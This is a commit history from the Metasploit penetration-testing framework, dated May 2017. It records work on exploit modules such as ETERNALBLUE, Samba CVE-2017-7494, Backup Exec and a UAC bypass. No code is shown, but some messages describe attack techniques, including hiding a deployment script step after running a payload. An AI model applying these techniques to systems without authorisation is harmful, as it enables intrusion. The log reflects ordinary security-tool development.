fix shell command on osx meterpreter
2017-05-26 15:55:14 +08:00
wchen-r7
2835c165d7
Land #8390 , Add module to execute powershell on Octopus Deploy server
2017-05-25 17:33:07 -05:00
wchen-r7
330526af72
Update check method
2017-05-25 17:30:58 -05:00
William Vu
ae22b4ccf4
Land #8450 , Samba is_known_pipename() exploit
2017-05-25 16:36:28 -05:00
HD Moore
4ec5831bd4
Merge pull request #15 from h00die/sambapwn
...
docs for is_known_pipename
2017-05-25 17:32:06 -04:00
HD Moore
1474faf909
Remove ARMLE for now, will re-PR once functional
2017-05-25 16:14:35 -05:00
HD Moore
2ad386948f
Small cosmetic typo
2017-05-25 16:10:37 -05:00
HD Moore
18a871d6a4
Delete the .so, add PID bruteforce option, cleanup
2017-05-25 16:03:14 -05:00
wchen-r7
ee13195760
Update office_word_macro exploit to support template injection
2017-05-25 15:53:45 -05:00
h00die
e8a34c5797
updates to docs
2017-05-25 16:53:39 -04:00
William Webb
eb1f6fcd8d
Land #8456 , Correct typo in exploits/unix/webapp/webmin_show_cgi_exec
2017-05-25 14:17:09 -05:00
David Maloney
0b0e2f64ca
update SMB1 "Freehole" packet
...
the 'Freehole' packet is now generated with
RubySMB and sent by the client, rather than raw bytes
sent over the bare socket
2017-05-25 13:43:16 -05:00
nks
1a8961b5e3
fied typo
2017-05-25 19:14:59 +02:00
David Maloney
bc8ad811aa
remove old anonymous login packet
...
we are now using the anonymous login from the
RubySMB client we no longer need this method to
manually build the packet
2017-05-25 10:49:42 -05:00
David Maloney
238052a18b
use RubySMB client echo
...
replaced the manually created echo packet
with the RubySMB client echo command
2017-05-25 10:47:14 -05:00
HD Moore
cf7cfa9b2c
Add check() implementation based on bcoles notes
2017-05-25 09:49:45 -05:00
h00die
98ad754475
updated OJ info and wvu ubuntu box
2017-05-25 08:09:37 -04:00
Borja Merino
7077ac0523
Meterpreter Post-exploitation module to mount vmdk files
2017-05-25 11:47:04 +02:00
itsmeroy2012
92a1a3ecf7
Adding for loop instead of while, removing 'counter'
2017-05-25 15:09:34 +05:30
h00die
b1514fcbc0
docs
2017-05-24 22:18:46 -04:00
HD Moore
0520d7cf76
First crack at Samba CVE-2017-7494
2017-05-24 19:42:04 -05:00
David Maloney
4ffe666b52
improve the cred fallback
...
we might get a successful sessionsetup
but a failure on IPC$ due to anonymous access
2017-05-24 17:36:07 -05:00
David Maloney
4c02b7b13a
added credentialed fallback
...
if anonymous login is blocked, then the user can
supply credentials for the exploit to try as a fallback
2017-05-24 16:09:51 -05:00
David Maloney
dc67fcd5a8
use RubySMB for anonymous login
...
use the new anonymous login capabilities in
RubySMB
2017-05-24 15:40:05 -05:00
juushya
af4eafdf70
Updated module and doc
2017-05-24 06:33:08 +05:30
William Vu
e4ea618edf
Land #8419 , ETERNALBLUE fixes (round two)
...
Hope I resolved the conflicts correctly.
2017-05-23 17:03:21 -05:00
William Vu
46eb6bdf62
Land #8399 , ETERNALBLUE fixes (round one)
2017-05-23 16:51:19 -05:00
William Vu
f80c3aa3f4
Correct absolute path
2017-05-23 16:50:25 -05:00
bwatters-r7
461649ed34
Land #8378 , Add check in archmigrate to prevent privdesc
2017-05-23 14:37:29 -05:00
Carter
c73e7673b1
Please the rubocop god
2017-05-23 15:13:55 -04:00
Carter
e945773576
Update archmigrate.rb
2017-05-23 14:40:42 -04:00
Matthew Daley
d530c49645
Add documentation for CVE-2017-8895 exploit module
2017-05-24 00:28:37 +12:00
Matthew Daley
52363aec13
Add module for CVE-2017-8895, UAF in Backup Exec Windows agent
...
This module exploits a use-after-free vulnerability in the handling of
SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for
Windows. When SSL is re-established on a NDMP connection that previously
has had SSL established, the BIO struct for the connection's previous
SSL session is reused, even though it has previously been freed.
Successful exploitation will give remote code execution as the user of
the Backup Exec Remote Agent for Windows service, almost always
NT AUTHORITY\SYSTEM.
2017-05-24 00:18:20 +12:00
Tim
d333077308
osx meterpreter
2017-05-23 14:23:22 +08:00
Jeffrey Martin
b7b1995238
Land #8274 , Wordpress admin upload check
2017-05-22 22:08:32 -05:00
Brent Cook
fc3af168d4
Land #8424 , change postgres docker image to alpine and add timezone
2017-05-22 22:07:01 -04:00
Brent Cook
47d2917a5f
Land #8418 , Add docs for 3 smb related aux modules
2017-05-22 22:04:22 -04:00
Brent Cook
0733790091
Land #8435 , update payload sizes
2017-05-22 22:01:11 -04:00
Brent Cook
0f4ad4994d
Land #8428 , Session listing from aggregator should show any remote id found.
2017-05-22 21:55:39 -04:00
Brent Cook
3e4e5dc810
Land #8421 , fix rspec failures with newer OpenSSL
2017-05-22 21:49:52 -04:00
Jeffrey Martin
4a43e9bcb2
add spec for reverse_ncat_ssl
2017-05-22 18:34:18 -05:00
Jeffrey Martin
5395d8f17c
update python stageless payload sizes
2017-05-22 18:21:13 -05:00
William Webb
9a0e2e6c8a
Land #8324 , Update Gemfile.local example, use Gemfile.local if it exists
2017-05-22 17:05:15 -05:00
Jeffrey Martin
d69bfd509f
store the credential using the new store_valid_credential
2017-05-22 15:08:03 -05:00
amaloteaux
2fbbc98b5d
document little trick for those who read :)
2017-05-22 19:50:40 +01:00
amaloteaux
93bb47d546
msftidy fix
2017-05-22 19:27:15 +01:00
amaloteaux
6f1f630b0e
add documentation
2017-05-22 19:17:26 +01:00
amaloteaux
092e7b96b8
typo
2017-05-22 17:27:50 +01:00
amaloteaux
74c08cebee
Add bypassuac fodhelper module for Windows 10
2017-05-22 17:25:17 +01:00
William Webb
467f1ce0ca
Land #8411 , Buffer overflow in VXSearch Enterprise v9.5.12
2017-05-22 07:37:31 -05:00
William Webb
b83853d7bc
Land #8433 , Fix proxy_type references to handle nil case
2017-05-22 07:21:30 -05:00
OJ
86aad6b7c3
Fix proxy_type references to handle nil case
2017-05-22 21:47:37 +10:00
William Webb
ec2ce6e473
Land #8432 , Restrict iis_webdav_ScStoragePathFromUrl to 32 bit targets
2017-05-22 06:17:36 -05:00
Christian Mehlmauer
b5caeb29dd
only support for 32bit so far
2017-05-22 12:30:52 +02:00
Jeffrey Martin
f6f421afb7
remote id not suppressed based on local
2017-05-21 19:21:52 -05:00
Renato Piccoli
29d1022ae2
Fix the rake spec failures under ruby 2.4.
...
Ths typo3_spec is giving some errors under ruby 2.4+
and OpenSSL 1.1+.
2017-05-21 21:56:04 +02:00
Christian Mehlmauer
10cedf81b3
Land #8420 , clean payload for iis_webdav_scstoragepathfromurl
2017-05-21 19:34:17 +02:00
Christian Mehlmauer
d94bc37b04
add timezone
2017-05-21 15:21:40 +02:00
Christian Mehlmauer
9c300a7b41
change postgres docker image to alpine
2017-05-20 22:29:16 +02:00
HD Moore
036f063988
Fix a stack trace when no SMB response is received
2017-05-19 16:24:41 -05:00
h00die
ae0fd66d91
smb docs looking good
2017-05-19 16:10:22 -04:00
Metasploit
18f520382b
Bump version of framework to 4.14.22
2017-05-19 12:12:27 -07:00
Pearce Barry
a6f416e8df
Land #8290 , Hwbridge Automotive Fix and Extension Enhancements
2017-05-19 13:46:54 -05:00
h00die
90c86dbc94
Land #8414 docs for aux scanner arp_sweep
2017-05-19 13:22:13 -04:00
h00die
48b85e9ad3
added info on pr flag for nmap
2017-05-19 13:10:01 -04:00
Metasploit
c54c999efc
Bump version of framework to 4.14.21
2017-05-19 10:02:32 -07:00
h00die
34f724cbc1
first add
2017-05-19 12:55:04 -04:00
Brent Cook
22828fcc0f
Land #8406 , add compatibility shims for older Ruby versions
2017-05-18 21:50:45 -05:00
lincoln
b76229b5f7
removed unessessary line
2017-05-18 19:15:49 -07:00
lincoln
7ca0fe5a68
Added make_junk function
2017-05-18 19:06:09 -07:00
Renato Piccoli
3203937811
Added a confirmation tip, using nmap.
2017-05-19 00:52:23 +02:00
Renato Piccoli
99eaffd232
Formatting fix (my bad).
...
[*] Start msfconsole
[*] use the module
[*] info -d
[ ] Verify spelling and grammar
2017-05-19 00:18:08 +02:00
James Lee
4def7ce6cc
Land #8327 , Simplify storing credentials
2017-05-18 16:49:01 -05:00
Renato Piccoli
dc436805bf
doc for arp_sweep aux scanner discovery mod #8296
2017-05-18 22:54:29 +02:00
Metasploit
126c078ced
Bump version of framework to 4.14.20
2017-05-18 11:53:33 -07:00
bwatters-r7
02211db664
Land #8412 , fix for smb_login errors
...
Merge branch 'land-8412' into upstream-master
2017-05-18 13:43:10 -05:00
David Maloney
94e4dc2938
fix for smb_login errors
...
do not try the TreeConnect if the SESSION_SETUP
has already failed.
2017-05-18 11:26:03 -05:00
Daniel Teixeira
c1624d0967
VX Search Enterprise GET Buffer Overflow
2017-05-18 17:12:47 +01:00
Daniel Teixeira
ca6b00161d
VX Search Enterprise GET Buffer Overflow Doc
2017-05-18 17:12:10 +01:00
Jeffrey Martin
1af6c08356
Land #8409 , mark osx-app macho as executable
2017-05-18 09:28:01 -05:00
Christian Mehlmauer
57dc86bdec
Land #8403 , more docker improvements
2017-05-18 13:01:41 +02:00
Tim
a68a1858a9
Fix #7703 , mark osx-app macho as executable
2017-05-18 18:24:35 +08:00
Ilya Glotov
5dbbd379b2
Add additional nmap dependencies
...
Packages nmap-nselibs, nmap-scripts
2017-05-18 12:54:53 +03:00
zerosum0x0
bdf121e1c0
x86 kernels will safely ret instead of BSOD
2017-05-17 23:48:14 -06:00
zerosum0x0
4f3a98d434
add arch detection to shellcode
2017-05-17 23:36:17 -06:00
zerosum0x0
a5c391dae2
multi-arch ring0->ring3 shellcode .asm file (work in progress)
2017-05-17 23:29:05 -06:00
zerosum0x0
d944bdfab0
expect 0xC00000D
2017-05-17 23:05:20 -06:00
zerosum0x0
646ca14375
basic OS verification, ghetto socket read code
2017-05-17 22:48:45 -06:00
Brent Cook
c59371dd5e
add ruby backports compat library
2017-05-17 23:41:20 -05:00
wchen-r7
c0bf2cc6e7
Land #8401 , Buffer Overflow on Sync Breeze Enterprise 9.4.28
2017-05-17 23:39:50 -05:00
wchen-r7
3360171977
Land #8319 , Add exploit module for Mediawiki SyntaxHighlight extension
2017-05-17 23:23:50 -05:00
wchen-r7
1cc00b2944
Add vulnerable setup info in mediawiki_syntaxhighlight.md
2017-05-17 23:23:00 -05:00
wchen-r7
ca1f8da7e5
Get around encoding issues in mediawiki_syntaxhighlight.md
2017-05-17 22:50:56 -05:00
James Lee
b78749bc1b
Land #8221 , move autoroute
2017-05-17 15:17:45 -05:00
Pearce Barry
d0b13544dd
Agreed-upon feedback updates.
2017-05-17 10:57:39 -05:00
Ilya Glotov
d68a3d77f5
Move ENV command to the top
2017-05-17 18:18:58 +03:00
Ilya Glotov
d2fb4a5ca1
Remove unnecessary code
2017-05-17 17:18:21 +03:00
Ilya Glotov
baf297f60e
Add capabilities to nmap
2017-05-17 17:17:30 +03:00
Ilya Glotov
f605db1217
Fix typo: postrgres -> postgres
2017-05-17 16:17:53 +03:00
Ilya Glotov
192125264f
Synchronize base ruby image with .ruby-version
2017-05-17 16:14:03 +03:00
Daniel Teixeira
ad8788cc74
Update syncbreeze_bof.rb
2017-05-17 11:33:24 +01:00
Daniel Teixeira
5329ce56c4
Sync Breeze Enterprise GET Buffer Overflow
2017-05-17 10:53:28 +01:00
Daniel Teixeira
57eac49222
Add files via upload
2017-05-17 10:52:36 +01:00
lincoln
2f39daafc5
Updated module removing hardcoded binary payload strings
...
-Used only nessessary pointers needed for exploit to work removing junk/filler chars
-Repaced ROP chain with generic from msvcrt (even though original was beautiful and smaller, uses hardcoded pointers for leave instructions)
-Cannot use ropdb since 4 byte junk char during generation may result in InvalidByteSequenceError during UTF conversion
-It's been some years since my last pull request...so I might be a bit rusty to new Metasploit standards (please forgive me!)
2017-05-16 23:22:42 -07:00
William Webb
7e2dab4ddc
Land #8303 , Buffer Overflow on Dupscout Enterprise v9.5.14
2017-05-17 01:04:59 -05:00
zerosum0x0
6fb4040d11
add core buffer dump for OS version
2017-05-16 23:18:39 -06:00
William Vu
1f4ff30adb
Improve 200 fail_with in wp_phpmailer_host_header
...
One. last. commit. Noticed this in the response body.
2017-05-16 22:38:36 -05:00
William Vu
21e741b530
Comment out x86 targets in ms17_010_eternalblue.md
...
Still under development.
2017-05-16 19:52:44 -05:00
Jeffrey Martin
8d9561be3b
Land #8397 , Secure (https) links in README.md
2017-05-16 17:33:12 -05:00
wchen-r7
11da7c7c81
Land #8394 , Add Moxa Credential Recovery Module
2017-05-16 16:45:22 -05:00
wchen-r7
8025eb573a
Enforce check
...
Because we are not able to get our hands on the hardware for testing,
and that this module may trigger a backtrace if the UDP server isn't
Moxa, we force check to make sure that doesn't happen.
2017-05-16 16:43:22 -05:00
wchen-r7
77a9676efb
Land #8347 , Add Serviio Media Server checkStreamUrl Command Execution
2017-05-16 16:20:39 -05:00
Metasploit
729f2a9ab8
Bump version of framework to 4.14.19
2017-05-16 14:09:45 -07:00
William Vu
6d81ca4208
Fix Array/String TypeError in ms17_010_eternalblue
2017-05-16 15:53:34 -05:00
William Vu
e24de5f110
Fix Class/String TypeError in ms17_010_eternalblue
2017-05-16 15:41:16 -05:00
wchen-r7
58d65ce4b5
Land #8380 , check for command injection in smtp email addresses
...
aborts
2017-05-16 15:36:22 -05:00
Patrick DeSantis
d85d1de057
Merge pull request #1 from wchen-r7/pr8394_fix
...
Pass msftidy for moxa_credentials_recovery.rb
2017-05-16 16:11:10 -04:00
James Lee
e3f4cc0dfd
Land #8345 , WordPress PHPMailer Exim injection
...
CVE-2016-10033
2017-05-16 15:07:21 -05:00
wchen-r7
2d7f7f9aec
Pass msftidy
2017-05-16 15:05:12 -05:00
William Vu
29b7aa5b9b
Update fail_with for 200 (bad user?)
2017-05-16 15:03:42 -05:00
wchen-r7
e62fc3e93c
Land #8376 , Add BuilderEngine 3.5 Arbitrary file upload & exec exploit
2017-05-16 14:53:32 -05:00
wchen-r7
631267480d
Update module description
2017-05-16 14:48:46 -05:00
William Vu
3893bc4d83
Update doc with new prestager command
2017-05-16 14:48:12 -05:00
wchen-r7
2ed8ae11b4
Add doc and make minor changes
2017-05-16 14:47:19 -05:00
Will
e974782b28
Secure (https) links in README.md
...
Secure (https) links in README.md
2017-05-16 15:25:30 -04:00
William Vu
7c1dea2f02
Refactor prestager to work with newer Exim
...
Apparently it doesn't like reduce with extract.
2017-05-16 14:22:43 -05:00
William Vu
eff4914240
Land #8381 , ETERNALBLUE exploit (to be continued)
2017-05-16 12:19:45 -05:00
zerosum0x0
53bb5a8440
Update ms17_010_eternalblue.rb
2017-05-16 10:43:43 -06:00
William Vu
7c2fb9acc1
Fix nil bug in Server header check
2017-05-16 10:43:04 -05:00
wchen-r7
20b682b2e4
Land #8391 , fix a typo in vmware_enum_permissions module description
...
orts
2017-05-16 09:33:26 -05:00
Patrick DeSantis
77dd3d19b9
add moxa credentials recovery module documentation
2017-05-16 10:22:50 -04:00
Patrick DeSantis
4a0535c2d0
add moxa credential recovery module
2017-05-16 10:21:44 -04:00
Gabriel Follon
4e3d5fa8a3
Added docs
2017-05-16 13:06:09 +02:00
William Vu
8021b209ba
Update doc with new usage
...
Also kick version down to 4.6, since I wasn't using the tag originally.
2017-05-15 21:28:41 -05:00
William Vu
5fd6cb0890
Remove nil case, since response might be nil
...
It doesn't always return something. Forgot that.
2017-05-15 21:23:49 -05:00
William Vu
b41427412b
Improve fail_with granularity for 400 error
...
Also corrects BadConfig to NoTarget in another one of my modules. Oops.
2017-05-15 21:15:43 -05:00
h00die
b2f69e9018
spelling
2017-05-15 21:11:19 -04:00
William Vu
1a644cadc4
Add print_good to on_request_uri override
...
Maybe the ability to send prestagers will be a part of CmdStager in the
future, or maybe CmdStager will actually be able to encode for badchars.
2017-05-15 19:17:58 -05:00
james-otten
3c4dfee4f5
Module to execute powershell on Octopus Deploy server
...
This is not a bug, but a feature which gives users with the correct
permissions the ability to take over a host running Octopus Deploy.
During an automated deployment initiated by this module, a powershell
based payload is executed in the context of the Octopus Deploy server,
which is running as either Local System or a custom domain account.
This is done by creating a release that contains a single script step
that is run on the Octopus Deploy server. The said script step is
deleted after the deployment is started. Though the script step will
not be visible in the Octopus Deploy UI, it will remain in the server's
database (with lot's of other interesting data).
Options for authenticating with the Octopus Deploy server include
username and password combination or an api key. Accounts are handled
by Octopus Deploy (stored in database) or Active Directory.
More information about Octopus Deploy:
https://octopus.com
2017-05-15 18:57:38 -05:00
William Vu
c4c55be444
Clarify why we're getting 400 and add fail_with
2017-05-15 18:53:36 -05:00
William Vu
489d9a6032
Drop module to AverageRanking and note 400 error
2017-05-15 17:35:40 -05:00
William Vu
2055bf8f65
Add note about PHPMailer being bundled
2017-05-15 14:29:11 -05:00
William Vu
35670713ff
Remove budding anti-patterns to avoid copypasta
...
While it offers a better OOBE, don't set a default LHOST. Force the user
to think about what they're setting it to. Also, RequiredCmd is largely
unnecessary and difficult to determine ahead of time unless the target
is a virtual appliance or something else "shipped."
2017-05-15 12:56:14 -05:00
Carter
5ee570bb9c
Fix non-uniform spelling and capitalization
2017-05-15 08:31:01 -04:00
Brent Cook
da160a8831
Land #8179 , cleanup msfupdate, add git config checks
2017-05-14 23:01:25 -05:00
Brent Cook
1892ac0c6c
tidy code, remove pro support, don't use tempfile, simplify checks
2017-05-14 22:58:47 -05:00
zerosum0x0
cb4c700e62
fix typo
2017-05-14 21:52:36 -06:00
zerosum0x0
865a36068e
sleep fix and new shellcode
2017-05-14 21:45:19 -06:00
William Vu
416a5cdc3b
Land #8379 , payload opts check for RHOST warning
2017-05-14 22:21:58 -05:00
William Vu
78148c7979
Prefer && instead of and
...
I think @zeroSteiner's been writing a lot of Python. :-)
2017-05-14 22:19:15 -05:00
William Webb
85d99d8cf1
Land #8373 , Add documentation for VMWare aux modules
2017-05-14 22:17:01 -05:00
Brent Cook
e7be0af72e
update bad mail checks
2017-05-14 22:13:31 -05:00
Brent Cook
cc72850847
Land #8369 , add PSH decompressor & decoder convenience methods
2017-05-14 21:28:02 -05:00
Brent Cook
8ac5d2d377
tidy up a bit while we're in here
2017-05-14 21:27:38 -05:00
zerosum0x0
e3dcf0ab2d
added docs
2017-05-14 19:22:26 -06:00
Brent Cook
8be51bb56b
Land #8372 , rservice documentation
2017-05-14 19:31:55 -05:00
zerosum0x0
9634f974dd
fix msftidy
2017-05-14 18:14:02 -06:00
zerosum0x0
fa79339432
eternalblue module
2017-05-14 18:11:41 -06:00
Brent Cook
544ea6926c
trim leading and trailing whitespace in mail addresses
2017-05-14 11:22:46 -05:00
Carter
03bf88d8f5
I did it again :(
2017-05-13 19:10:59 -04:00
Carter
9b7049610a
Create macho2app.rb
2017-05-13 19:04:30 -04:00
Spencer McIntyre
70bfdf17b2
Check payload options before showing RHOST warning
2017-05-13 14:46:07 -04:00
Spencer McIntyre
f39e378496
Land #8330 , fix ps_wmi_exec and psh staging
2017-05-13 14:26:47 -04:00
Spencer McIntyre
3cbeebe3af
Rename env_ variable to be more accurately named
2017-05-13 14:24:00 -04:00
Carter
ce7b967a13
Update archmigrate.rb
2017-05-13 13:35:48 -04:00
Carter
78b0fb00da
I committed to the wrong branch
2017-05-13 13:35:13 -04:00
Carter
0bd11062e4
Ass SYSTEM check to archmigrate
2017-05-13 13:28:28 -04:00
itsmeroy2012
3a1ed19a42
Making use of StagerRetryConnect
2017-05-13 17:49:53 +05:30
h00die
fb236df18f
added AIX reference
2017-05-12 19:15:00 -04:00
h00die
5d2b4e0fdb
links, and spelling
2017-05-12 19:10:37 -04:00
Metasploit
405f2c6ca1
Bump version of framework to 4.14.18
2017-05-12 10:10:30 -07:00
William Vu
c622e3fc22
Deregister URIPATH because it's overridden by Path
2017-05-12 11:56:38 -05:00
William Vu
84af5d071d
Deregister VHOST because it's overridden by Host
2017-05-12 11:44:10 -05:00
Mzack9999
27e1de14b0
BuilderEngine 3.5 Arbitrary file upload and execution exploit
2017-05-12 18:37:08 +02:00
Brent Cook
7bcaaf33c7
Land #8294 , gnome keyring post exploit credential dumper
2017-05-12 10:08:53 -05:00
Brent Cook
e9fcc3c291
msftidy fixes
2017-05-12 10:08:26 -05:00
Brent Cook
6485042162
update rubyntlm to use the released gem
2017-05-12 05:59:11 -05:00
Brent Cook
7355817329
Land #8371 , Fix msftidy warnings for the WNR2000 module
2017-05-11 22:51:11 -05:00
Brent Cook
142f190f99
Merge the payload bump for #8293 (merged the wrong branch)
2017-05-11 22:35:25 -05:00
Brent Cook
123462bdca
Land #8293 , add initial multi-platform railgun support
2017-05-11 22:32:23 -05:00
h00die
af4505a9de
land #8009 post module for jboss creds gather
2017-05-11 22:39:54 -04:00
h00die
285857c23f
remove req msfcore
2017-05-11 22:39:41 -04:00
h00die
6fa51aee8f
moving docs to correct folder
2017-05-11 22:33:00 -04:00
h00die
ea232cb39f
esx_fingerprint
2017-05-11 21:19:13 -04:00
h00die
f0e3a1f9da
vmauthd_version
2017-05-11 21:04:10 -04:00
h00die
4c40c6289e
add rlogin and rsh
2017-05-11 20:22:44 -04:00
William Vu
231510051c
Fix uri_str for exploit
2017-05-11 16:30:10 -05:00
William Vu
bee36ca90f
Fix edge case
2017-05-11 16:22:21 -05:00
William Vu
68f13808e7
Fix msftidy warnings for the WNR2000 module
2017-05-11 16:16:10 -05:00
h00die
7f34e985f7
rexec docs
2017-05-11 17:08:21 -04:00
William Vu
2ae943d981
Use payload common case instead of general case
...
Both x86 and x64 work on x64, but we really expect x64, and there's no
migration to move us from x86 to x64.
2017-05-11 15:43:49 -05:00
William Vu
69755f6ac3
Land #8370 , msftidy fixes for quest_pmmasterd_bof
2017-05-11 15:28:56 -05:00
Brent Cook
e414bdb876
don't try to guess intent for specified default targets, leave auto-auto targeting to unspecified modules
2017-05-11 15:19:11 -05:00
Brent Cook
337db56d4f
bump payloads
2017-05-11 14:57:10 -05:00
William Vu
0627b10996
Add Ubuntu version to module doc
2017-05-11 14:13:45 -05:00
Brent Cook
8422a7db39
Merge branch 'master' into land-8293-multi-railgun
2017-05-11 10:05:28 -05:00
Brent Cook
30c48deeab
msftidy and misc. fixups for Quest BoF module
2017-05-11 08:07:39 -05:00
William Webb
e8aed42ecd
Land #8223 , Quest Privilege Manager pmmasterd Buffer Overflow
2017-05-11 00:44:19 -05:00
Josh Hale
843f148e62
One more yard doc function
2017-05-10 23:01:03 -05:00
Josh Hale
e84765c1c6
All functions have yard doc like comments
2017-05-10 23:01:03 -05:00
Josh Hale
c5391c2a64
Update cmd print to match core.rb
2017-05-10 23:01:03 -05:00
Josh Hale
bb815c0f8c
Add delete all to module doc
2017-05-10 23:01:03 -05:00
Josh Hale
10c7c3893a
Add subnet check for Android payloads
2017-05-10 23:01:03 -05:00
Josh Hale
c49bd9ee4e
Add session ready check
2017-05-10 23:01:03 -05:00
Josh Hale
97eaa83114
Update delete all routes
2017-05-10 23:01:03 -05:00
Josh Hale
f670fcddcb
Initial code cleanup and multi compatibility work
2017-05-10 23:01:02 -05:00
Brent Cook
6a1612d18d
fix usage on meterpreter script
2017-05-10 23:01:02 -05:00
Brent Cook
099fc0176a
move autoroute to a more sensible location
2017-05-10 23:01:02 -05:00
Brent Cook
28c20cf35d
Land #7873 , haraka mail server command injection
2017-05-10 22:52:40 -05:00
Brent Cook
0f089020cb
update example output from module
2017-05-10 22:52:13 -05:00
Brent Cook
6e8f226f36
update docs, move module out of the way
2017-05-10 22:09:26 -05:00
RageLtMan
cf29a512d0
Upstream Msf namespace PSH decompressor & decoder
...
Present convenience interfaces in Msf::Exploit::Powershell ns for
decoding and decompressing PSH strings built with Rex::Powershell
or compatible implementations.
2017-05-10 22:44:56 -04:00
Adam Cammack
18d95b6625
Land #8346 , Templatize shims for external modules
2017-05-10 18:15:54 -05:00
William Vu
b242fb04a5
Land #8368 , LICENSE_GEMS update and new tool
2017-05-10 17:38:19 -05:00
Brent Cook
bf29293f51
Land #8363 , allow saving aggregator connection details
2017-05-10 16:49:38 -05:00
Brent Cook
d511491a0d
Land #8365 , automatically set LHOST inside the docker container
2017-05-10 16:42:56 -05:00
Brent Cook
5d326f3273
Land #8367 , fix typos
2017-05-10 16:40:37 -05:00
Brent Cook
577f4da498
add LICENSE_GEMS generation tool, update licenses
2017-05-10 16:19:03 -05:00
William Vu
09f6c21f94
Add note about Host header limitations
2017-05-10 15:17:20 -05:00
William Vu
a1d92573fc
Add module doc to appease the @h00die god
2017-05-10 15:17:20 -05:00
William Vu
b446cbcfce
Add reference to Exim string expansions
2017-05-10 15:17:20 -05:00
William Vu
8842764d95
Add some comments about badchars
2017-05-10 15:17:20 -05:00
William Vu
ecb79f2f85
Use reduce instead of extracting twice
2017-05-10 15:17:20 -05:00
William Vu
b5f25ab7ca
Use extract instead of doubling /bin/echo
2017-05-10 15:17:20 -05:00
William Vu
9a64ecc9b0
Create a pure-Exim, one-shot HTTP client
2017-05-10 15:17:20 -05:00
William Vu
ee55516e06
Allow lowercase HTTP in command strings
2017-05-10 15:17:20 -05:00
William Vu
0ce475dea3
Add WordPress 4.6 PHPMailer exploit
2017-05-10 15:17:20 -05:00
William Vu
3a45c2f321
Allow complete override of Host header
2017-05-10 15:17:20 -05:00
Michael Scherer
a3dc82d51c
Fix mispelling in meterpreter readme
2017-05-10 22:08:22 +02:00
William Vu
638320a848
Update rex-exploitation to 0.1.13
2017-05-10 15:07:21 -05:00
William Vu
b04a8821aa
Land #8366 , apache_range_dos should not be in WMAP
2017-05-10 15:03:04 -05:00
James Lee
d00685a802
Don't run a DoS during wmap scans
2017-05-10 14:41:24 -05:00
Brent Cook
42fd287038
remove debug
2017-05-10 13:04:12 -05:00
Christian Mehlmauer
23e97f4ea9
set LHOST in docker
2017-05-10 09:37:54 +02:00
Brendan Coles
42c7d64b28
Update style
2017-05-10 06:37:09 +00:00
Brent Cook
faf01ed5ef
Land #8353 , add aux scanner for Intel AMT digest bypass
2017-05-09 18:45:21 -05:00
Brent Cook
ad37f88a34
add module docs
2017-05-09 18:44:43 -05:00
Jeffrey Martin
04aa3f8daa
address save for aggregator connect details
2017-05-09 11:20:49 -05:00
James Lee
72388a957f
Land #8355 , IIS ScStoragePathFromUrl
...
See #8162
2017-05-09 11:06:01 -05:00
James Lee
10099e99c6
Land #8361 , update packetfu
2017-05-09 11:04:04 -05:00
James Lee
fd05cea033
Update packetfu and remove version lock
2017-05-09 11:03:32 -05:00
Zero_Chaos
9295a39c92
update packetfu dep now that 1.1.13 is released
...
Please use the release instead of the pre-release
2017-05-09 11:18:28 -04:00
Christian Mehlmauer
2b4ace9960
convert to "screaming snake"
2017-05-09 09:30:45 +02:00
OJ
2207891f0a
Land #8538 bump payloads for LURI and proxy fixes
2017-05-09 09:00:04 +10:00
Brent Cook
cf487cc90c
reverse_ncat_ssl is stable
2017-05-08 17:43:34 -05:00
Brent Cook
7f1e2e6c71
bump metasploit-payloads
2017-05-08 17:34:55 -05:00
Brendan Coles
32dafb06af
Replace NoTarget with NotVulnerable
2017-05-08 22:29:44 +00:00
Christian Mehlmauer
f70b402dd9
add comment
2017-05-09 00:17:00 +02:00
Brent Cook
96e3d61883
Land #8297 , add docs for energizer duo scanner and exploit
2017-05-08 17:14:36 -05:00
Brent Cook
86365c89d1
Land #8352 , style updates for lotus_domino_hashes
2017-05-08 17:11:44 -05:00
Christian Mehlmauer
806963359f
fix fail with condition
2017-05-08 23:47:48 +02:00
Brent Cook
630fa7cc17
Land #8356 , Windows Meterpreter bug fixes
...
Merge remote-tracking branch 'upstream/pr/8356' into upstream-master
2017-05-08 16:45:09 -05:00
Christian Mehlmauer
68f61f32ae
revert accidental test commit
2017-05-08 23:27:40 +02:00
Brent Cook
0bc9d9259d
meterpreter bugfixes
...
fixed stdapi_fs_mount_show to show full mapped drive path for Python
Meterpreter on Windows
Updated the Windows Meterpreter `getprivs` command to list all privileges
2017-05-08 16:26:32 -05:00
Christian Mehlmauer
f62ac6327d
add @rwhitcroft
2017-05-08 23:20:12 +02:00
Christian Mehlmauer
26373798fa
change rank
2017-05-08 23:07:12 +02:00
Christian Mehlmauer
962a31f879
change minimum length
2017-05-08 23:01:17 +02:00
Christian Mehlmauer
7dccb17834
auto extract values and implement brute forcing
2017-05-08 22:47:29 +02:00
Brent Cook
beea5e1a5c
use wfsdelay consistently
2017-05-08 15:34:09 -05:00
Adam Cammack
7bac1fc421
Land #8354 , Remove .negative? for older Rubies
2017-05-08 15:24:50 -05:00
Brent Cook
841f63ad20
make office_word_hta backward compat with older Rubies
2017-05-08 15:10:48 -05:00
Christian Mehlmauer
406a7f1ae2
Merge remote-tracking branch 'dmchell/dmchell-cve-2017-7269' into iis2
2017-05-08 21:51:51 +02:00
Brent Cook
fede672a81
further revise templates
2017-05-08 14:26:24 -05:00
HD Moore
f7ff840ef0
Add missing return, thanks bperry!
2017-05-08 14:08:59 -05:00
HD Moore
9392e48b72
Add a scanner for Intel AMT auth bypass (CVE-2017-5689)
2017-05-08 13:24:00 -05:00
Brent Cook
a2ce3743a2
move wait_status to a mixin
2017-05-08 12:23:27 -05:00
Jeffrey Martin
a1efa30fa2
comments adjustments & enum better
2017-05-08 11:57:06 -05:00
Brent Cook
f213482659
small fixe
2017-05-08 11:52:37 -05:00
William Vu
b794bfe5db
Land #8335 , rank fixes for the msftidy god
2017-05-07 21:20:33 -05:00
Bryan Chu
88bef00f61
Add more ranks, remove module warnings
...
../vmware_mount.rb
Rank = Excellent
Exploit uses check code for target availability,
the vulnerability does not require user action,
and the exploit uses privilege escalation to run
arbitrary executables
../movabletype_upgrade_exec.rb
Rank = ExcellentRanking
Exploit utilizes code injection,
has a check for availability
../uptime_file_upload_2.rb
Rank = ExcellentRanking
Exploit allows execution of arbitrary commands,
has a check for availability
../zpanel_information_disclosure_rce.rb
Rank = ExcellentRanking
Exploit allows remote code execution,
implements version check for pChart
../spip_connect_exec.rb
Rank = ExcellentRanking
Exploit utilizes code injection,
has a check for availability
